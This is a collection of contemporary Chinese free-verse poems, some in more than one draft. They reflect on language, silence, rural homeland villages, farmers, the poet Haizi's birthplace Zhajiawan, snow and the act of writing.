在语言找不到的地方人无知者， 在途径之处 渴望自我的迷幻是为空缺。 我分明正是那两个虫子的父母， 父亲和母亲。 书写的正义性从这里向整个人类告白， 用最简单的文字， 让最诚实的心儿得到。 让他为所有最为轻微的事情悲伤， 便让他永远出于无奈的沉默状态。 于是，我 只是一个不断下落的旁观者。 怜悯的金色光辉， 倒影在纸上，纸的同谋，那另一个伙伴 是圆珠笔现代化笔芯里面的墨汁。 书写大的，和更大的事情， 大要大于尸体 大要大于虫子。 大甚至要准确而言的，大于对事物 的怜悯。 这正是它们为什么是一对，是一双。 是彼此， 是怀抱。是交pei的理由。 是我的语言之针cha不进那一双 一双双的尸体。我只能说 井壁光滑，但不深，没过我的脖子。 说在语言之海里面游泳，用 现实世界里面，现实世界里面事物 动物的生生灭灭做铺垫。 更为超脱的语言永远在超脱的自身之中 梦幻着。 这是两个小虫子的梦， 这是为什么在现代化的精密和准确里面 还是会有两具尸体进去了笔芯。 呵，语言在等待我，接下来 的话语。自欺欺人的颜色的烟雾 我在等待着肇事者， 我向他吐出了紫色的烟雾 书写的孔径， 在到达大地之上，一切就已经变得 可悲又忧伤。 鸟儿，，， 《鸟儿》 一只冰冷的鸟， 只是章节很小的一部分。 章节再小的话，就会碰到水岸 刺骨的水温， 人们筑起了高墙。 鸟儿可以有更为便捷的抵达方式， 它可以飞。抵达 诗歌规整的壁垒。 我望着这个望着我的，或者 其实正望向别处的鸟。 望着我的怜悯，或望一面镜子。 忘了的那个诗歌的反复重提，何故又要在 自我的苛责里面出现。 或许只是忘了摔一下， 但确确实实的又摔了一下。 出于无意，有意兄弟的无意， 有意何其疲惫的将一切包装成可笑的样子， 如果我抬头，借给它 飞翔的一瞬息呢。 草原，， 我有手有脚，我可以去远方。 如果我侥幸心理，我就拖着自己。 如果路途遥远，我俯卧，我在我 自己身上骑一马匹。 有手有脚，用力拍打一下自己吧。 把自己亲手埋掉吧， 对我而言远方未知，未命名是为一切 比一切还要的多， 我突破了死亡，我把自己埋掉了。 指针 《指针》 让未来更远一点， 虚假。 让未来超出我生命一些， 真实。 但并不是此刻的真实， 此时的钟摆，无形表盘的繁多 或许会抗议，敲打了一下。 下一个刻度不断的生出， 又不断 在听闻后湮灭。 敲打因果，敲打真实里面何故虚假呢。 何故隔着河流大有， 试图放开手脚作假的肆无忌惮。 停顿的突然的敲打了一下。 回过头，强调是人，人的手儿 借着敲打而处无形之中。 但心思还在那里， 一直：才能维系着 真与假，过去与现在，混乱和调理中 指针的诞生。 也都在了无声沉默里面了。 活着，， 《活着》 活的更久一点， 活的更长远一点。 活，就把一座房屋活出来。 把建筑工人丢下。活， 是理由。 绝非简短的句子。绝非告别， 对告别知之甚少，在语言之舌的深处 更无意于谈起。 像一根青草一样随风摆动的活， 让它活， 让它暴露它自己试图活下去的意图 呵，活竟变成了，变作了活下去。 如此辛苦才有了一座莫须有的空房子。 比一根枯草还要活的热烈， 也就活的枯萎，在活的贫乏之中 意识到了，跃然而起。 呵，你竟已经活的足够热烈 是否你要告知， 活就是辛苦的，苦难的，漫长和曲折 是要面对突然出现的悬崖 是要在诗歌的尽头谈起开始。 是你， 当我在温暖的室内，在逐渐升温 但从室内那里却开始转冷的天气里面 轻微的矛盾有着可笑的意图 谈你。 东山村，，， 《东山村》 停在语言就够了， 仰面向上。 火在那里，那么光明在那里 微弱没事，只会微弱更大，更准确于微弱。 遮盖住别的什么事物，事情也没事。 那些依然在那里的， 会从火焰之中出来。 它们的语言而不是我， 屋舍在那里，遗忘在那里。没准 不诚实也在那里。 我尽力去呼唤，我呼唤因不诚实才呼唤 出来的搅动火焰， 一句自相矛盾，自我迷乱的语言。 语言的外表， 必然华丽丽的外表，语言抵达，波浪一般 碰撞后再回还。 那么，在疲惫之中，是否 是揭露，坦白。悄悄的 还是继续呢——我只有一双手， 只有一个嘴巴， 难不成只有一个我。是我 落入了只能如此的处境。是你， 给弄反了。 是谁？是我？我又是谁呢？ 悬停在语言，而语言之下 难不成并非真实而早已经伤痕累累。 我看到人们一次次丢下了生活垃圾， 在城市，在楼上，从老人到孩童。 看到了教育的无辜姿态，看到了 补救者化身成了蜘蛛人 爬上高高的幕墙。影子，是另一个它。 那么，看就是闭上眼睛。就是不看是看。 就是楚楚欲动的语言将永远的楚楚欲动 而不会达到。 也不会返回。中间，回荡着的正确与错误 组成了一条故乡的河流。在故乡 哟思考了这些，开头的笨拙和侥幸 始终的脆弱和懦弱 始终年轻的少女穿着新衣裳，孩子们蹦蹦跳跳。 始终是在梦里， 那些村民终于化身成一个个士兵， 最简陋的士兵拿着刀，叉，锄头无声的抗议也不过如此 为了把一个人的思想斧正。 ————为了正确。是的，我需要重复的是 在那语言已经足够精彩的水平面之下 并非乱糟糟的填埋，丑陋和坑脏。 查家湾 《查家湾》 回头看， 从十七岁开始， 我的一切都是支离破碎的。 不是对孤独的置换， 没有主动。主动的手疼，找不到 原因。 不是扒开之后里面是虚无。 也不是扒开， 补救的一首小诗，明亮的刀子 书写里面还是让他划破他人， 让他在既定的事实上面 再一次把那个海子划伤。 也不是扒开本身。 有人说，我欠别人一个道歉。 道歉是真的， 道歉的原因只是干燥的， 或湿润的木柴也可以被点燃。 所以我去到南方，去到安庆 去到查家湾村。 为什么却依然萦绕，像无形的空气 无声的空气。 此时，像一切。我低下头。 又像土地。 建筑工人在村庄高处那里， 为了纪念，他们不是很懂， 他们打下的大理石石碑。 东山村二 《东山村》 从这里去到五峰山， 去到长清。 去到济南 去到太原，去到一朵或一片云朵。 怎可以劝返我呢。 怎可以以 在小的语言的同一性那里的再次 书写，书写的等同于再次碰到。 你这个问询的沉默之中的回声。 回声着的，是否看到了这样一颗永不停歇 原地打转的心。 看到一个像驴子一样，被蒙上眼睛， 把不诚实崇拜。却围着空空的石碾 吟唱，我是在碾粮食的人呢。 语言的漩涡是否就真的比现实的漩涡 更无害，是否， 正是在无害而仿佛有害的外表， 我去到连续不断的长清，济南，太原。。 跟我从这里走到室外同理。 是否是听到了挖掘的声音才变得沉默， 才有了一大群人。而另外的被需要的理由 则是，自我的天真和幼稚。 只有侥幸的花儿远远的远离痛苦， 只有阅读到诗人们真正痛苦的诗章 麦芒，针尖，也罢。 不听的拿起来。扎出了很多细小窟窿。 返乡，， 《返乡》 去， 一去二三里之上。去 水波波动的去吧。 让亲人的影子倒影，在河岸边。 因多而去，多却不可去除。 难不成去是无奈，是被迫 你所思讨， 如何化被动为主动。如何， 化解不同于爱情的亲情。 如何呢， 以你自己的身体为花盆，为 土壤。 让爱情生长。 带着你对一个人二十几年的思念上路吧。 带一个不知道住在哪里的收件人的地址 也就带着永不放弃的念想。 难不成去是打开之意， 在纸张和文字的最下面， 返乡的重逢和结伴，圆满的还要往下 自己对着自己， 却不是你自己在对着自己 谈论水一样的你的身体。 查家湾，，。 《查家湾》 那种芦花随风摆动的力量， 海子描述过。 每个人都应该触摸一下 或者正是每一个人都不同方式的 触摸了之后。 芦苇，才变得如此的轻。 这轻还在下降，并没有什么被托付给 语言的严重的事情需要 被交代。 我也想澄清一些事情，我， 来到了怀宁。其实并没有见到河 与河边的芦苇。 坐在山坡上面，欣赏着傍晚的暮色， 有时候我也回头看看北方。 我摸了一下夕阳，金色的。 我不确定这是否与芦苇一样， 村子富裕了，也还是那个村子。 梅子林 《梅子林》 书写时， 他渴望咳出血来。 冬天打马的一支队列， 冬天里面殷红的梅子林。 不相信奇迹会发生的人们。 终点和迷途被他弄反， 给予了他，只好自己暂时身在 历史的迷雾之中的错觉。 他都不知道被刺了多少剑， 站起身来的士兵又是一剑。 冬天又是一剑。 倦了，累了。用这样潦草的文字 来表达恐惧怎么行呢。 恭上的陈词始终不能让一支队列满意。 终把那咳血的答案， 那血红色的梅子林给咳了出来。 一个被押解之人竟心存侥幸， 竟试图通过书写来自我开脱， 拯救和逃跑。 尚未到终点他的死期就到了， 是否，他最后的血，最后的诗章里面 也会有着冤屈。 诗歌，，，， 《诗歌》 在诗歌之外，首先是在陈词唐突的海上。 陶瓷的船帆， 戏曲的木桨。 还有戏曲这一位舵手。 它们从不会厌倦于重复。 被曲解为过海的漫长、空虚。 当它正从它的五彩缤纷，开始衰弱 向它的五彩缤纷那里。 不言说 《不言说》 不言说可被言说者， 不言说比语言的造物主 比语言大的是人。 并不在沉默里面，人伸出了手儿 断定和等待仿佛给出了难题， 我把我给了出来， 不言说，因此而不能是沉默着的。 丰收，。， 《丰收》 在秋天，随着准确的刻度歌唱 秋天昏沉沉，在秋天 庆祝丰收。 在秋天沉默它多么的沉默 绝口不提美好，阳光下有许多 许许多多自由自在的影子。 河水拍打着我们，幸福的河岸。 从村庄的路口走出，沿着杂草丛生的山坡 走下。我是其中之一。 呵，请你歌唱你的心中最想歌唱的， 请在你自己的身上 把冰冻的霜凌，还有过去的霜凌 一一抖落。还有对我话语的没有回应 低下头，看着金黄的麦浪。我也爱另一个 如果我已经远离一种陌生，放松 也会悄悄的突然堵住我的嘴唇。 坐在山坡上，坐在语言之海，坐在错误的 仍旧可以继续的错误。坐在 农民成为农民这悲伤的梦想上，幸福。 请等等我， 等我一起，大家结伴。如果劳作就像漫长 而现实的天幕，拉回了我 拉回你的幻觉时我希望我能孤身的走进麦浪。 遗忘掉那些歌唱麦浪的歌曲， 赐予我新的误解，把我的生命刻在长久的 无知与肤浅上。 夜深了，痛苦会到来。敲敲门 这是我的梦想。白天那人儿就开始低下头 把麦子收获。 景阳冈， 《景阳冈》 石头里面住着的是一颗彗星。 判断予多，则更少 不如不判，与沉默相矛盾， 或一天流逝，我需要强调，在矛盾中 沉默着又等待着。这是无可否认 活的活着的肉体，语言的气泡 它自我的针刺破。为反驳。 但不是为正义，不为空旷的，空空的处境。 远离现实，如果我就在现实之中，抬头望那 些文字的边界。农民是一个个渡河而去，前往 拿锤头凿刻之人。天色变幻里面我看到了好时节 好多人。江水由人组成， 人就需要不停的行走。 荒野，。，。 《荒野》 当手无所依的陈词， 在田野上面的空荡荡处 仿佛书写会被理解，某种标度 就可以刻下。 短暂与须弥的同生的情形 一块坚固的石头由坚固二来。 走出去一点点，只要多出了语言 里面的短暂，即使你自己也知晓 尽力的也在言简意赅。你要说的是你 正被怕和恐惧所不断地袭扰。怕一具 恐惧的生灵的诞生，怕言不由衷的不再继续 怕远，一去二三里的远，沉默等待着的远。 远，孤独的变形。恒久里面，或 善变的疲倦。真实世界里面的一具生灵 他的语言之中一具具生灵。如此虚假的火 正准备被点燃的冬天将它靠近，围拢。 荒野3 荒野 《荒野》 手无所依着，陈词 在田野上空荡荡之处。 仿佛书写会被理解，会刻下某种标度。 短暂与须弥同生的情形 一块坚固的石头由顽固而来。 走出去一点点，只要多出 语言里面的短暂。即使你自己也知晓 尽力也在言简意赅。你要说的，是你 正被怕和恐惧所不断地袭扰。怕一具 恐惧的生灵的诞生。怕言不由衷的不能够再继续。 怕远，一去二三里的远，沉默等待着的。 里面的远，远使得远变形。恒久里面， 善变的疲倦变作了远。真实世界里面一具生灵 他的语言中就有了一具具生灵。如此虚假的火 正准备被点燃的冬天因此将它靠近，围拢。 摇晃，， 《摇晃》 我摸不到门， 我晃动一棵小树。 我无法摸到树上枯黄的叶子， 就让它，在晃动中纷纷掉落。 语言的池水，让它们漂浮成我的脚印。 让我行走，踩在语言组成的痕迹上面好来掩埋， 始作俑者的罪恶。 请让我是一个出于心而到达心，再无其他。 让我的话语与愿望全是有关于生命干净的暗示。 我可以停顿，感到累了。 我再继续摇晃。更加的用力。 体会这出自自己又回到了我自己。 事物只是轮回于人的生命之上， 唯有以凋零来无力反驳时又纷纷凋落。 长江的历史 《长江的历史》 江水由人组成， 人们就需要不停的行走，奔波， 和劳作。 黑池坝 《黑池坝》 随着土地，随农民 在农民不能喜悦的时刻， 往自己的年龄再迈进一步。 农村的土地，坍塌的房子 土坯房已经很少见，坍塌 需要更多的时间。 时间之痛。非此非彼。 荒草只剩下草茎的山坡，还有远处的 一层层梯田组成了起伏的海浪。 把枯荣组成，在枯荣被谈论之时 我一步就到达了Ah。 黑池坝只是我溅起来的水，我擦掉。 ————我拿掉，农民要求我随意，这是我 即使四下无人时依然存在的自我辩白。 这与我在故乡遥想一种说法有什么不同， 是否真的是天地人皆知。在我的心内 恐惧呃呃呃潜藏会被一把鼓锤敲击出来。 但绝不是例证。这与我洗完脸之后，如果 不知道下一步干什么就会尴尬与不适相同。 如果再有一个石头，拥抱着它自己寥寥可数的青色 我的习惯虽然不想城市里的架子鼓，不像 声音被归类为惯fan而潜逃之中依然嚣张跋扈。 就像我的错误不能证明着别人不是小资， 诗歌厚厚的稿纸中一刀切下笔直的怜悯 另一半里隐藏的自私是否，更因此需要枯荣 词语由来于把那个窟窿填上。 声音像是在填上枯荣二字之后，自然的 从那里面发出。发出揭问，那个发问者 之所以怀疑的基础。世界如此现实，现实是否 就在于了凌乱这里。 才可以最终停留。小资的枯荣，发问 那与农耕休戚与共的诗人去了哪里。 种植时一块种植，收割时一块收割。喜悦是什么 痛苦时更加的痛苦。 你的屁股也可以思想，我相信。这 就是诗人。证明着人间的神hua。我相信 生生而下的一个个生命，婴儿。需要被思想的身体 所催促才可以诞生。在大地上请让我相信 看似遥远的箴言。请你的诗歌与箴言毫无二致。 请让我一次又一次的自我怀疑，请让我 坐在故乡荒凉破败的山坡上面可以 想你。让彼此的相符，诗与道白。才有了分离。 给你火把， 高举他。第一次高举和举起， 你会从黑池坝的岸边跌落。 心乱 《心乱》 写出的和尚未。。之物， 但那不是尚未。。的写出，写出不能够 云层般把它们覆盖。 写出在尚未之物之后，之上发生。 写出的状态，写出时的声音，过程 比写出要大。 坦诚者的告白来了，却在对岸。告诉他吧 那不是现在的首要之物。 此时此刻，让我感到神奇。悬而未决的 伸出一支手，摸索了很久的手收获到 一颗头颅不再耐烦的回应。 写出化作积雨云的梦想是否就能够 通透尚未被写出之事的困难。 从我不相信骏马有一双翅膀， 从另一个起点，我无法否认我的感觉。 如果路途的起点和中途都是我， 告知我的人把我要相信人可以改变， 告知予我。 肤浅之徒 《肤浅之徒》 在高高的地方证明我是人类， 人类的族群大于我，而我的告白 不止这些。 没有山，我不在山顶。 终其一生我都是一个人吗。 比石头大，石头也是大的。 比一颗尘埃大，尘埃也很大，我想着它 相比人类而言的微小。 想象的话语通过某种路径， 抵达尘埃是否就可以让自己变得真实 而又鲜活。 亲切的向着过去的人类打招呼， 向过去的自己问候。现在我应充满着感激 幻梦之中更为真实的自己 当一粒微尘也经不起人的贪婪， 有宇宙一般的牢固外壁。 肤浅之徒， 肤浅之徒 《肤浅之徒》 在高高的地方证明我是人类。 人类的族群大于我，而我的告白 不止这些。 没有山，我不在山顶。 终其一生我都是一个人吗。 比石头大，尽管石头也是大的。 比一颗尘埃大，尘埃也大，我想着它 相比人类而言的微小时， 想象的话语通过某种路径 是否抵达尘埃就可以让自己变得真实 变得鲜活？ 让我的唇靠近你， 亲切的向着过去的人们打声招呼。 向过去的自己问候，现在我充满感激。 幻梦之中更为真实的自己， 当一粒微尘也经不起人的贪婪， 有宇宙一般的牢固外壁时，我一次次 没有拿起什么，一直希望着拿起。 草木 《草木》 与农民休戚与共， 那你得劳作多少次， 多累啊。 其中一个农民休息的时候， 你还要与另一个一同劳作。 道德的准则， 当一个质疑你，你空空的谷仓跑出了 干瘦的硕鼠。 与山川草木生生灭灭，那你得 死多少次啊。 准备了多少誓言，多少离别前郑重其事的 告别。发白的嘴唇先于那死亡。 与谁辞别。谁，还记得你呢。 洒脱一点，倒不如与失败为伍。 把谎言当成真理。视诚实为虚伪。 善良是无意间偶然的遗漏，遗漏中的 太阳光透过 缝隙。所发出闪光。 那被当做了真理，恍然间你有了一种 我终于是我的真实和存在感。 很真实，拍了拍自己。 生生灭灭的草木，一生劳碌的农民 不过是衣服上飞溅起来的灰尘。 镇子，。，。 《镇子》 从镇子上我回到县城。 当我察觉到人 对思考，认识，书写等等而言时 都容易把自己的影子投射在上面 一页纸承担的 不仅仅是洁白的无辜，还有焦急与贪婪。 赎罪式的与怜悯发生时 纸张不仅是现实的，它侧面的锋利 化作一道界限。化作一顶可遮风挡雨的 屋宇。 回想少年开始不知道多少次来回回返。 如果我的生命最终消耗在这上面。 我的死也在这上面而非土地上发生。 极其缓慢，离开村庄 用了很久，用尽连自己也误以为是回来。 回头的念头被春风吹着， 远方是哪里在风中形成无形的漩涡。 在死亡之后我活了， 在千百次的回返之后，我第一次的离开。 离开这个词语，土地的板结。 山坡的荒凉。 死沦陷在活的缓慢，起伏的波浪里面。 对那些真正意义上的死亡， 人们口中说出的是否才是更为真实的那一个呢。 一行诗 《一行诗》 我是安全的， 一行诗就是一所独立的房子。 另一行则是另一所。 逗号，句号预示着雨下起来了， 过了一会，雨又停了。 或者再次下起。 永远中途是下雨的季节。 永远让一个写字的人 在雨下和雨停之间行走，生活。 人们找不到他，停在雨季外面的人们 明明， 就住在隔壁的另一所房子里。 听听 《听听》 听听多的语言成为少的语言。 由多到少， 在这个年久失修却又崭新，台阶的 正在修筑上面走走。 沉默的修路工人向我吐出了一个 完美的烟圈。一个问题，有关于 总是要一切回到现实中的无形那里。 听跌落，难不成向上而行会顶着阻力不成？ 便像雪， 但又不是雪。 便像谎言。由来于镜子里面有另一面镜子。 向落雪的村庄走去， 就好像我就是一片雪花。 东山村，，，。， 《东山村》 我觉得只要我放松下来 这些事物就是我可以有的。 把门往前推一推， 门，不是木门。非木门 也绝非一扇。 村庄的寒冷空气会冻住你的语言， 你谈什么理想。 遥远村庄冒着青烟的屁股， 之前一脚把它踢出去了很远。 这就是它与你的关键， 这就是你一拖再拖，在雪地里面 身子低了再低，用你的身体里面发散 出来的温度融化雪。 不断念叨“远方，”“远方” 失语症的诊断，拿着听诊器的老大夫 让他一直听不到你最深处的情形。 让一个结果丛生， 甚至是花。就是花，我还看到了 花的样子。形状上羞涩 四瓣，如桃花，如牡丹，如浅红与柔软 花瓣的边缘渐渐粉红。 我觉得我应该要像一个正常人 我睡觉是正常的， 起床正常。 为狡辩两个事情其实不在于连续而在于 是同一个事物而正常。 所以，洗脸正常。但被挤压上的重量要大一些 双手要用点力。却也无关揉搓。 揉搓，揉搓。当冰冷的听诊器贴上了你的心脏 你就是这样来回答一个 你眼睛里面没有经过正式医学院教育的老大夫。 如果是我，如果铜制的指针 漫长里面更久的敲击。文字其实是迷乱的 头碰着头。疼不疼？ 我觉得如果我也能放松下来， 那么他的诗就是我的诗。 别人的诗歌我也能感同身受。 这充满了无聊轻微的歉悔 门太低了，我需要弯腰才能走出屋门。 地上， 地上有我遗忘掉的东西。 第2222章 把东西往那里一挤， 把秋蝉往那里一挤，第二天就到了。 我看了他很久， 他占了自己的喜欢很久。两个词是 一个词，叫他秋蝉，虚幻里面想起一个东西 叫他。 他回应，像我在叫他。槐树轻轻晃动。 那些事物不过是有个人挥舞手掌 旋转。故乡的意思隐隐约约就图景一般显现。 故乡一张薄薄的纸， 冲着并非没有耐心的人，试图 对话下去。 试图变成一个树，再由一棵树进入 河岸边另一个人身体的想法。 另一个人，轻微的也有着往这里来的意思。 写写 《写写》 不写，那就多读几遍。 写的人在写， 写的人早已经写了。 在写的时候他写的是另一个人的诗。 他抄录，就像现在的我。 我可能是最后一个，但就书籍的印发 和销售。 而言， 我像是市场上面卖的那种一根根，很多束 小彩灯上的某一个。 光顺着管道试图回到根部，买东西的 商贩就捋一捋， 再捋一捋。最后实在不耐烦了，干脆 就把灯束放进了一个罐子里面。 第一个人的书写就是从这里开始，从集市开始。 诗从哪里开始， 诗人从哪里开始盼望结束。 为什么他会盼望着结束？ 盼望一阵脚步， 把脚步变成了文字。写， 一开始是去写。 写慢慢的会把他的所见所闻，所怀念，所回想 都试着写。一拧，再抖擞一下，穿在身上 上路。 写会撞上读者的写。一个热情，不诚实的读者。 写与写注定相撞， 撞出了调和者。就是我 刚刚提到的那个在我之前 把文字做成诗歌，写在纸张上，给于诗歌的称呼 给婴儿一个啼哭，啼哭一个名字的人。 规整为诗，以便让写写去了。 那甚至不是调和者， 为了写与写的彼此碰撞，都不用指出 其中的荒谬和多余。 无意义之海上的划动着的写， 远远传来的求救声音。 写的窗户，我听另一个读者这样对我说。 写的残缺，写的命运仿佛一开始就注定了。 ————因此才有了写，才可以写。 读者的写之手终于握住了诗人的书写之手， 你思念的人儿走在路上， 无雪，美丽。走， 走在一阵残缺上。 呵，请让我写。这是太阳的光辉。 雪野 《雪野》 一点点解体， 直到幻想才停止。 幻想中的白色医生看着我， 让我相信解决之道是无声的。 是还要在无声之下， 于是我冲着茫茫，大雪中的山川 喊了一嗓子。 开始动手解下自己 双脚，双手。 躯干。 我在一片白中解， 缘何解仍旧会使我疲惫。 空余的思想一直期盼现实天平小于虚幻的时刻。 解。 江边，，， 《江边》 沉默， 我是要，要我在这里 停顿并住下来。 自己在自己沉默之网中 下沉。 江边的岸上有一颗大石头， 下沉最终是无力它自己的下沉。 除夕我梦到了破碎构成的礼花 来自下沉的有可能是一切。 再下沉一点点， 就必然是一切。 我看到了一切， 你在我的对面我没有回答你。 内部，，，， 《内部》 我从什么时候开始在了 内部？ 不想让这个问题的回答搅扰一生， 不想， 就让哑巴坐在村口的大石头上 假扮卦师。 为了沉默，呵，他还想假扮医生和护士。 为了不再沉默， 由虚入实的星空面对着他。 那沉默与言说之间并不存在的矛盾呵， 我很难想象一个人会一坐一宿， 会一坐千年。 像是只是为了一次对话， 掏出他血淋淋的心。 我避开了他，选择另一条路。入那内部。 第1111章 《1111》 很容易，酒就把人内心的想法 给搞了出来。 酒，酒还泼溅。水花里面酒后 不吐不快。 建筑工人的吐露， 他内心深处藏着的，他一直兢兢业业的 修路，夯实———建筑。 怀疑一切都是为一个错上加错， 某一天里看到的闪耀光点， 是否会引起整个世界的坍塌呢。 不断重复建筑，建筑的语言和建筑之 人的宿命。 并且对一次次到达建筑之意义的思和问候 都不闻不问。 问什么答什么的唯有沉默。 他是沉默的邻居。 饮下三百杯让他有一种不吐不快的畅快。 整个世界如果倒悬， 并不只有他一个人，使用着蛮力蛮横 折断和损耗。一瞬间他是另一个人 语言告知着饮酒中，和饮酒之后摇摇晃晃中的自己 在整个世界被颠覆的可能性之中穿行 那些酒后的事情属于别的什么 像他的不安可能并不是来自这里。 别处，也可能是岸上，有一些灯火 立春，，， 《立春》 酒和剑拥有各自的功用。 有时剑一醉， 一路向下的是谁就很可疑了。 酒何尝不想变成剑呢 那些烦躁的语言， 如耳边嗡嗡的苍蝇。 等那个询问者一来 ：因为醉了，我记不清我是谁 饮酒之剑 或在自身体内世纪碰撞来回的一支酒瓶。 它们能够各自拥有自己的功用是 一件不可思议的事情。 各自立在那里，像是什么也没有发生过一样。 雪，，，，，， 《雪》 一路上下着 一路上寻找着语言 一路上找到后， 仍旧在一路走着。 雪2 《雪》 一路上下着 一路上寻找语言。 一路上找到之后， 一路上仍旧在下着。 第3333章 《333》 这个文字属于这里，那么， 那个就可以因此被界定——那个就属于那里。 属于别处。我重复了别人的语言， 更早前或别人之见似是而非。 那么，压低了声音我小心翼翼重复了什么， 重复了一种厌倦。凝固不化的一种酒的 搅动会旋转的梦中之梦。低声乃是解决不成， 我一步妄图跨过黄河。那个文字属于别处， 女士和老弱妇孺优先。 如果可以我希望能更久的停留在这里 我是对于什么的一种重复，更多乃复述。准确是美好， 更多时候有着尽量接近的人生写照。 把一个空地让出来，可能今晚就会挨饿。 。。。。。 我说，，，， 《我说》 他三缄其口， 那就需要两把锤子。 需要的是两次敲击，一把锤子。 这就是他的供词 他神清目眩，脑袋里面嗡嗡想 眼睛直冒金光。 我说， 我说， 求你不要再打我。 但那供词上面蒙着一层水， 水把意思弄得稀薄， 改变。 来自于敲击所导致的供词的改变， 审判者的肇事者身份 那又该多么长久的 拷问着历史的良心呵。 等待。。。 《等待》 等待总可以有所等待得到。 到来的人带来了它们。 这个人是你想要的。他带来了 因果， 行走，他走下石阶。 另一个事件如果由这一个事件而生， 我跟你擦肩而过。 肩膀之间是风声最古老的故乡。 言谈和思索是倾斜的悬崖。 这一个事件的内容渴望把肤浅与 怀抱恐惧的告白阻止。 这一个是新的。没有环环相扣的悲观 命运锁链长久把它自己的含义锁住。 如果准许我再次的 仿佛把一个陈旧，既定的事情谈论。 高谈阔论，又大又震耳的声音 把那些解开的任务也推开。手的新生 被不断重复的念白里面， 一个事件中等待总有所等待。 我观望着，不打扰。新的事件因此而生 像俯在窗台边一株紫罗兰。 什么？ 《什么？》 对于女人写诗我有一种偏见， 与粘性相结合，结合而出的彼此二者。 大于很多事物，大于月亮。 光是迟疑的。可能它就落在了我的眼睛里面 晚了一些，但是它还是要回来，它被孕育成了语言 说迟疑就说的久一点。最好比着久 这个标准上一把尺子，震颤。手拿着，震颤 蔓延到手上。 难不成我对女人写诗歌的迟疑 来自于这种颤抖的一路向前，我难以把握， 攥不住。扔掉如火？ 另一个我迟疑的事物是江南以南的非中国。 过去敲的钟想在回想， 疲惫上面加疲惫。直立着身子，无形中 有另一个我，弯下腰，说话。说需要如此。 我便隔绝着麦田。隔绝稻田。 但不是因为一条河流的隔绝。 水的隔绝？一些有想法的水？一些对质询 竟置之不理的水？不成。我心想。 一些把回声弹回，水面只波浪一般，依然拒绝的水。 大千之水便有人来了。 是有少女来了，善良来了。极简的对话是历史传记中 对笨拙对话的美化。诚实实在无聊，甩甩手又粘在了手上。 但我还是愿意独自一人停留在大千之水一会。 停留不生长，不丛生。 繁衍向下，人的，我的，放松是否就可以 跟着向下？ 江南以南非zg。空幻的回声。 冬季的枯草草茎向上挺着。 还有一些别的事物向上。有人告诉我 写诗是被什么事物追着，或者说咬着 我猜是狼的踪迹。蜜獾 则属于文字里面的离奇。 狼不可隐秘，我说话的时候它刨土 用前爪。也就这些了。 江边修改 江边 《江边》 沉默， 我是要，是要我在这里 停顿并住下来。 自己在自己的沉默之网中 下沉。 江边的岸上有一颗大石头， 下沉最终是无力它自己的下沉。 除夕我梦到了破碎构成的礼花 来自下沉的有可能是一切。 再下沉一点点， 就必然是一切。 我看到了一切， 你在我的对面我没有回答你。 重重 《重重》 这里是屋外，那里是屋内 这里是大理石的，那里也是。 但那里， 需要总要有一些语言的不甘来把 不同表示。 于是这里是楼梯而那里， 那里是淋浴间。 我在这里，那里，是我要走过去的地方。 迈步， 我跨过了什么呢，重重语言的困难 抑或制造了它。 风雪夜归人 《风雪未归人》 用三十首诗 来敲一个汉字。 三百，三千。让雪落了下来。 书写者让我一直都在雪花飘落的 夜里留宿。 我不知道自己怎么到来的， 也被雪覆盖了。那路 无题089 《无题089》 在现实之门之外。 这世上又有多少现实之门 把轻柔的反驳只视作反驳的小心翼翼， 我的习惯我粗糙的已无法由回忆来记起。 我一遍遍回忆， 金丝楠古琴横躺月桂下。 最大的气泡是月亮 草木有门，佝偻的身子进了屋 影子消失不见。 还想更多的重复，语言便消失不见。 还想对着白天里面早熟之悲悯， 当一颗心大于了一个人，一颗心时时把 一个人儿来重复和涵盖。 穿着他破旧的衣服，像斗篷戴着。 对着人消失的地方言语，想追上人离开的步伐。 山川有门，门可以打开。 打开自不必多言。 声音 《声音》 为了让自己停在那里，为不前进水的迷途。 为了它自己而不为别人。 别人是谁，谁戳破了气泡，气泡里面 是否有愤怒。 声音里唯一确定的事情 是起先的那件事已经被追责和呵斥所取代。 另一件事情的容纳的口袋。 我的放松来自于我的主动， 装进想要装进去的。或者装进去。 不断开合的口袋里面的门 被期待得语言不可视作被 等待的语言出自于心存侥幸的人儿，随手点起了 一根烟。 那么，一直我都处在了香烟袅袅这个边界内， 我走的更远则袅袅起。 这花了一个人很久 在声音上面有声音，在移动的冰块的 上面有冰块就制造了 尾部拴着语言的迷茫的迷途。 那些被点亮的灯火， 早于它们迟早的要掉落而掉落。 没有告白，无意义于早于上升和点燃时， 打火机点火的时刻。 梵净山，， 《梵净山》 在说话第一句话之后 接下来的说的就处于了一种 惯性之中。我幻想那已经不再是我说出的东西 一本褐色的小书结束， 那接下来则是摊开来的另一本书。 人世扑向我质疑我的时候， 我试图让一本摊开来的书是一本哲学书籍 让摊开去承担这一切，和里面的肤浅与侥幸。 作为一条路途，仿佛惯性的喃喃自语是 指点迷津，是孤身正走入了深山老林 山顶有一间庙宇， 有僧。这仿佛是我为面见他而纯然准备的一切。 梵净山，，。。。 梵净山 《梵净山》 在说话第一句话之后 接下来说的就处于了一种 惯性之中。我幻想那已经不再属于我， 不再是我说出的东西了。 以一本褐色的小书结束， 那接下来惯性是摊开来的另一本书。 人世随即扑向我质疑我，它知我内心。 我试图使一本摊开来的书是一本哲学书籍。 就让摊开去承担这一切，和里面的肤浅与侥幸吧。 作为一条路途， 仿佛惯性的喃喃自语是指点迷津， 是孤身正走入了某个深山老林， 山顶有一间庙宇。 有僧，这仿佛是我为面见他而纯然准备的一切。 也已经在了他的参禅打坐中。 XZ111 《xZ》 我来了， 我又走了。 我见了一座山， 但我不说了。就让它 在我的语言之间矗立。 回到家我依然沉默， 沉默里面的一座雪山， 正迎着冉冉升起，故乡的太阳。 XZ222 xZ 《xZ》 我来了， 又走了。 见了一座山， 但不说。就让它在我的 语言之中矗立着。 回到家依然保持着沉默。 沉默里面的一座雪山， 正等待着早晨升起的太阳， 来敲一座白色的门。 感觉，，， 《感觉》 感觉走了一万年， 判断上很难精确，从嘴巴里面 吐出无形的枣。 如果我感觉我走了一万年， 我只是去拿一个杯子。 我还在去拿一个杯子的开始， 起初不是中途。像水滴一样的未来的雨 我说的真是未来的语言淹没了自己。 只是去拿一个杯子， 一个拿杯子的行为大于一万年吗 从天上瓢泼而下的是什么， 雨水的命名里面为什么没有什么秘密。 摊开诞生了秘密么。摊开诞生了秘密 底下是多少次的失败。 把手伸到土壤里， 伸到火焰里， 只是往前伸出去。今天和明天 今天腹中空空，明天，饥饿同样无处不在。 